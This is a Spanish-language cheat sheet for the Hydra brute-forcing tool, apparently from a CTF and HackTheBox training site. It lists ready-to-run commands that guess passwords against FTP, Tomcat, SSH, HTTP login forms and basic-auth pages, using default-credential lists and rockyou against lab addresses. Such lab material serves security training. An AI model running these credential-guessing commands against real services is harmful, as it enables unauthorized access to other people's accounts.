Hydra
Hydra prueba combinaciones de usuario y contraseña contra un servicio en vivo. En CTF se usa sobre todo para credenciales por defecto y listas cortas: con rockyou entero contra SSH tardarías días.
- Plataforma
- Linux
- Web oficial
- github.com/vanhauser-thc/thc-hydra
- En HTB
- 4 máquinas
Instalación
sudo apt install hydra
- T1078.001 Cuentas por defecto
- T1110.003 Password spraying
- Credenciales por defecto
- Password spraying y usuarios válidos
Chuleta de Hydra
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Más protocolos
Credenciales por defecto (usuario:clave en un fichero)
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.10.11.20
Panel de Tomcat
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.11.20:8080/manager/html
Usuarios y contraseñas en listas
hydra -L usuarios.txt -P claves.txt ssh://10.10.11.20 -t 4 -f
-f para en cuanto encuentra una válida.
En nuestras chuletas
Enumeración web › Hallazgos típicos
Formulario HTTP con hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt box.htb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=incorrect'
Lo que va tras F= es un texto que solo aparece cuando el login falla.
Autenticación básica
hydra -L users.txt -P passwords.txt box.htb http-get /admin
SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.20 -t 4
Ningún comando coincide.
Máquinas de HTB donde se usa Hydra
Sacadas de los capítulos de los vídeos de IppSec en los que aparece Hydra. El enlace ▶ salta al minuto de esa parte.